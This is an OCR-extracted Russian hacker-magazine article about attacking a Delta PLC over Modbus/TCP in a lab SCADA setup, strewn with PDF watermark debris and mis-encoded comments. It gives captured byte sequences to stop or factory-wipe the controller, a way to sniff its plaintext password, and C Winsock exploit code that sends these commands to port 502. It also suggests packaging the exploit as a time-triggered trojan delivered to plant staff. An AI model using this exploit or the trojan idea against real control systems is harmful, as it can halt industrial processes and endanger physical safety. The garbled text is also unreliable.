книги хакеры / журнал хакер / 185_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
ХАКЕР m |
06 /185/ 2014 |
|||||||
|
|
|||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
7
StuxNet своими руками
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
m |
|
|
w99Click |
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Технологическое рабочее место (для обновлений программы ПЛК, в штатном режиме работы SCADA не используется)
192.168.0.8
192.168.0.25 |
АРМ оператора задвижки |
192.168.0.3
127.0.0.1/8
АРМ оператора насоса
192.168.0.62
192.168.0.5
ПЛК
АРМ директора
ИЩЕМУЯЗВИМОСТИ
В статье «SCADA под прицелом» (][ номер 7 за 2011 год) была описана уязвимость, характерная для большинства ПЛК, а именно возможность перевода ПЛК в режим listen only. Этот режим позволяет вывести ПЛК из процесса обработки команд и управления, что приведет к остановке технологического процесса в целом. На многих ПЛК имеется переключатель RUN/ STOP (он выделен на фотографии ПЛК), который позволяет это делать аппаратно (разумеется, для этого нужен физический доступ к самому ПЛК). Кроме этого, можно перевести ПЛК в режим listen only, отправив на ПЛК определенную последовательность команд (а это, как ты сам понимаешь, уже позволит удаленно вмешаться в процесс управления).
Вот эту последовательность команд мы и попытаемся найти для нашего ПЛК Delta. Помимо этого, попробуем перехватить пароль, с помощью которого в ПЛК защищена от считывания его прошивка, а также посмотрим, можно ли удаленно вообще полностью обнулить память ПЛК.
Для решения поставленных задач будем использовать штатное средство для программирования ПЛК компании Delta Electronics — программу WPLSoft и широко известный в узких кругах Wireshark.
УдаленныйпускиостановПЛК
В WPLSoft имеются две замечательные кнопочки RUN и STOP, которые как раз и предназначены для управления ПЛК в ходе написания и отладки управляющей программы. Подключаем ПЛК к компьютеру, устанавливаем связь WPLSoft с подклю-
Рис.3. Программа для ПЛК, написанная на языке LD (язык лестничных диаграмм) (все очень просто, два выхода и четыре реле)
Рис. 4. АРМ оператора задвижки
Рис. 5. АРМ оператора насоса
Рис. 6. АРМ директора «предприятия»
Рис. 7. Топология нашей SCADA-системы
ченным ПЛК, запускаем Wireshark и смотрим, что посылается на ПЛК в момент нажатия этих кнопочек. При нажатии кнопки STOP видим последовательность из 12 байт, отправляемую на ПЛК по протоколу Modbus/TCP:
eah 97h 00h 00h 00h 06h 01h 05h 0ch 30h 00h 00h
К нашей радости, Wireshark с легкостью распознает и раскладывает по полочкам все то, что передается по этому протоколу (подробно о нем читай на врезке, а если надо еще более подробно, то в Википедии). Итак, имеем номер транзакции — ea97h (60055 в десятичном виде — он, в принципе, может быть любым), идентификатор протокола — 0, длину передаваемых данных — 6 байт. В передаваемые данные входят: адрес ведомого устройства — 1 (в нашем случае устройство одно и его номер соответственно равен 1, если написать здесь ноль, то команда широковещательно пойдет всем ПЛК, которые висят на этой линии), код функции — 05 (запись значения одно-
го флага — Force Single Coil), адрес этого флага 0c30h (3120
в десятичном виде), и оставшиеся два байта нулей означают, что мы данный флаг переводим в выключенное состояние.
При нажатии кнопки RUN мы перехватим почти такую же последовательность, за исключением двух последних байт, там будет значение ff00h. Такое значение переводит флаг во включенное состояние.
Кнопки, позволяющие останавливать и запускать ПЛК, имеются практически во всех средах разработки программ для контроллеров (без них процесс написания и отладки про-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
100m |
Malware |
||||
w Click |
|
|||||||||
|
|
|||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Śšŵ ŝŖůŞŨű ťŦŤřŦŖŢŢű, ŠŤŨŤŦŖŵ ţŖūŤŚŞŨŧŵ Ř ťšŠ, ŤŨ ţśŧŖţŠŬŞŤţŞŦŤŘŖţţŤřŤ ŧŭŞŨűŘŖţŞŵ Ř ţśŠŤŨŤŦűū ŠŤţŨŦŤššśŦŖū ŢŤŜţŤ ũŧŨŖţŖŘšŞŘŖŨŲ ťŖŦŤšŲ. ŚśšŖśŨŧŵ ųŨŤ ťŤŧŦśŚŧŨŘŤŢ ŨŤş Ŝś ŧŦśŚű, Ř ŠŤŨŤŦŤş ťŞŮũŨŧŵ ťŦŤřŦŖŢŢű Śšŵ ŠŖŜŚŤřŤ ŨŞťŖ ťšŠ
грамм для ПЛК был бы затруднителен), а это значит, что подсмотреть нужную последовательность байт можно не только для ПЛК Delta, как это сделали мы, но и для контроллеров других производителей.
Перехватываемпароль
Для защиты программы, которая находится в ПЛК, от несанкционированного считывания в некоторых контроллерах можно устанавливать пароль. Делается это посредством все той же программной среды, в которой пишутся программы для каждого конкретного типа ПЛК. При этом во многих случаях этот пароль никоим образом не шифруется и передается по Modbus/TCP в открытом виде.
Итак, пробуем. Выбираем опцию защиты программы при ее загрузке в ПЛК паролем, вводим пароль (чтобы было проще его отследить, мы ввели четыре заглавные буквы G), смотрим в Wireshark и видим его в одной из переданных на ПЛК последовательностей байт:
e2h 07h 00h 00h 00h 09h 01h 64h 01h 0bh 04h 47h
47h 47h 47h
В общем, для того чтобы собрать все пароли в системе, нужно просто отлавливать последовательности 01h, 0bh, 04h, и идущие за ней четыре байта и будут паролем.
ОбнуляемпамятьПЛКдозаводскихнастроек
Для этого применим функцию Format PLC memory, заботливо предусмотренную создателями WPLSoft (подобная функция имеется и в других средах разработки). Итак, вызываем
Format PLC memory, выбираем «Reset PLC memory (Factory setting)», жмем подтверждение и смотрим в Wireshark. А там видим следующее:
33h 88h 00h 00h 00h 05h 01h 64h 01h 14h 00h
Первые два байта, как мы знаем, — это номер транзакции, следующие два — идентификатор протокола, далее два байта — длина сообщения (в нашем случае длина сообщения 5 байт), потом адрес устройства, далее код функции (у нас это 64h — функция не определена стандартом и реализуется на усмотрение производителя) и затем данные (три байта —
01h, 14h, 00h).
ПИШЕМЭКСПЛОЙТ
Остановить или обнулить ПЛК, как ты уже понял, довольно просто. Достаточно отправить на контроллер нужную последовательность байт.
Для этого мы будем использовать Winsock API, поэтому для начала нужно подключить соответствующий заголовочный файл и библиотеку:
#include "winsock.h"
#pragma comment(lib,"ws2_32.lib")
Далее создаем нужную последовательность:
char BuffPLCOff[12] = {0x32, 0xf6, 0x00, 0x00,
0x00, 0x06, 0x01, 0x05, 0x0c, 0x30, 0x00, 0x00};
Надеюсь, ты узнал в этом массиве последовательность для перевода ПЛК в режим STOP. Первые два байта, как мы уже знаем, означают номер транзакции и могут быть любыми.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
ХАКЕР 06 /185/ 2014 |
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Далее все просто — инициализируем Winsock, создаем сокет, устанавливаем соединение и посылаем данные:
//ǨȡȜȪȜȔȟȜțȔȪȜȳ Winsock WSADATA wsaData;
WSAStartup(WINSOCK_VERSION, &wsaData);
//DZȢțȘȔșȠ ȥȢȞșȦ
SOCKET Server;
Server = socket (AF_INET, SOCK_STREAM,
IPPROTO_IP);
// ǯȤȢȜțȖȢȘȜȠ ȜȡȜȪȜȔȟȜțȔȪȜȲ ȥȢȞșȦȔ
sockaddr_in ServerAddr;
ServerAddr.sin_family = AF_INET;
//ǨȥȣȢȟȰțȧșȠ 502-ȝ ȣȢȤȦ (ȥȣșȪȜȔȟȰȡȢ
//Șȟȳ Modbus/TCP)
ServerAddr.sin_port = htons(502);
//DZȲȘȔ ȖȠșȥȦȢ xxx.xxx.xxx.xxx ȣȜȬșȠ IP-ȔȘȤșȥ
//ǯǫǪ (ȞȔȞ șȗȢ ȧțȡȔȦȰ — ȫȧȦȰ ȣȢțȚș) ServerAddr.sin_addr.S_un.S_addr = inet_addr ("xxx.xxx.xxx.xxx");
//dzȥȦȔȡȔȖȟȜȖȔșȠ ȥȢșȘȜȡșȡȜș
8
9
10
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|
||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
ХАКЕР m |
06 /185/ 2014 |
StuxNet своими руками |
|||||||
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
11
connect(Server,(LPSOCKADDR)&ServerAddr,
sizeof(ServerAddr));
// ǯȢȟȧȫȔșȠ ȧȞȔțȔȦșȟȜ ȡȔ ȣȢȥȟșȘȢȖȔȦșȟȰȡȢȥȦȜ ȕȔȝȦ
char *pBufPLCOff = BuffPLCOff;
// ǯșȤșȘȔșȠ ȘȔȡȡȯș
send(Server, pBuf,sizeof(BuffPLCOff),0);
Для форматирования памяти ПЛК до заводских настроек нужно создать такой массив:
char BuffPLCFormat[11] = {0x32, 0xf6, 0x00,
0x00, 0x00, 0x05, 0x01, 0x64, 0x01, 0x14, 0x00};
Полностью весь эксплойт в виде проекта на Visual C++.NET можно найти на dvd.xakep.ru по ссылке для этого номера журнала.
АТАКАНА«ПРОИЗВОДСТВЕННУЮЛИНИЮ»
Настало время попробовать эксплойт в деле и провести атаку на нашу с таким трудом созданную «производственную линию».
Для начала узнаем IP-адрес ПЛК (для того, чтобы его вставить в нужное место эксплойта). Конечно, лучше всего для этого взять специальную софтину типа «SCADA-аудитор» или еще что-нибудь подобное, но вполне можно обойтись и Nmap’ом. Если в списке открытых портов мы увидим порт за номером 502, то можно не сомневаться в принадлежности этого устройства. Порт номер 502 специально зарезервирован для прото-
кола Modbus/TCP.
Далее тайно включаемся в сеть и ждем нужного момента для запуска эксплойта. Ничего не подозревающие операторы и директор наблюдают за «производством», включают и выключают насос, открывают и закрывают задвижку — и вдруг насос останавливается, задвижка закрывается, и все оборудование перестает реагировать на органы управления. А все из-за того, что мы отправили всего лишь 12 байт в нужное время и в нужное место.
Согласись, что если оформить такой эксплойт в виде трояна, срабатывающего по какому-нибудь условию (время/дата), подкинуть этот троян обслуживающему персоналу (например, по почте или на флешке) и применить пару эффективных приемов социальной инженерии, то получится довольно-таки опасная вещь.
ЗАКЛЮЧЕНИЕ
Может быть, ты уже заметил, что тема информационной безопасности SCADA-систем в последнее время приобрела особую актуальность и постепенно выливается в очень интересное и весьма перспективное направление деятельности.
Надеюсь, ты правильно воспримешь все, что написано в этой статье, и не станешь пытаться останавливать большой адронный коллайдер в Европейском центре ядерных исследований или прекращать выработку электроэнергии на Калининской АЭС, а сконцентрируешь свои усилия на конструктивных действиях, которые внесут вклад в решение большой проблемы безопасной работы критически важных и потенциально опасных объектов производства.
Рис. 8. Перехваченная последовательность, позволяющая перевести ПЛК в режим STOP
Рис.9. Перехваченная последовательность, позволяющая перевести ПЛК в режим RUN
Рис. 10. Перехваченный пароль «GGGG»
Рис. 11. Открытый 502-й порт на устройстве с IP-адресом
192.168.0.5
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
WWW
Оригинальные спецификации протокола Modbus можно поизучать здесь: www.modbus.org
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
m |
|
w101Click |
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
RS-232
Проводной дуплексный интерфейс. Метод передачи данных аналогичен асинхронному последовательному интерфейсу. В настоящее время можно встретить на очень древних компьютерах в виде 9- или 21-контактного разъема. Первые мышки подключались к компьютерам именно с помощью такого разъема.
Информация передается по проводам двоичным сигналом с двумя уровнями напряжения. Логическому «0» соответствует положительное напряжение (от +5 до +15 В для передатчика), а логической «1» отрицательное (от –5 до –15 В для передатчика).
Обеспечивает передачу данных и некоторых специальных сигналов на расстояние до 15 м.
RS-485
Стандарт физического уровня для асинхронного интерфейса. Регламентирует электрические параметры полудуплексной многоточечной дифференциальной линии связи.
В стандарте RS-485 для передачи и приема данных используется одна витая пара проводов, иногда с экранирующей оплеткой или общим проводом. Данные передаются с помощью дифференциальных сигналов. Разница напряжений между проводниками одной полярности означает логическую единицу, разница другой полярности — ноль.
Стандарт RS-485 оговаривает только электрические и временные характеристики сигналов и не оговаривает параметры качества сигналов, протоколы обмена, типы проводов и соединителей.
DVD
Код эксплойта, SCADA и прошивка для ПЛК из этой статьи лежат на диске. Вернее, на dvd.xakep.ru.
MODBUS/TCP
Modbus/TCP используется для передачи данных через TCP/IP-соединение в Ethernet-сетях. Формат Modbus-пакета для передачи данных включает в себя шесть полей:
•ID транзакции (два байта);
•ID протокола (два байта, нули);
•длина пакета (два байта, сначала старший, затем младший, указывают количество байт, следующих за этим полем);
•адрес устройства (один байт, если в этом поле нули, то пакет адресован всем устройствам на линии);
•код функции (один байт, например 02h — чтение значений из нескольких дискретных входов или 05h — запись значения одного флага);
•данные (в зависимости от типа команды).
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
102m |
Кодинг |
||||
w Click |
|
|||||||||
|
|
|||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
][-ŞřŦŖ:
ťŦŤŨŞŘ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
ХАКЕР 06 /185/ 2014 |
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ŖŚŢŞţű
ūŖŠśŦŤŘ
ИЗУЧАЕМ МНОГОПОТОЧНОСТЬ В JAVA НА ПРИМЕРЕ ГЕЙМ-КОДИНГА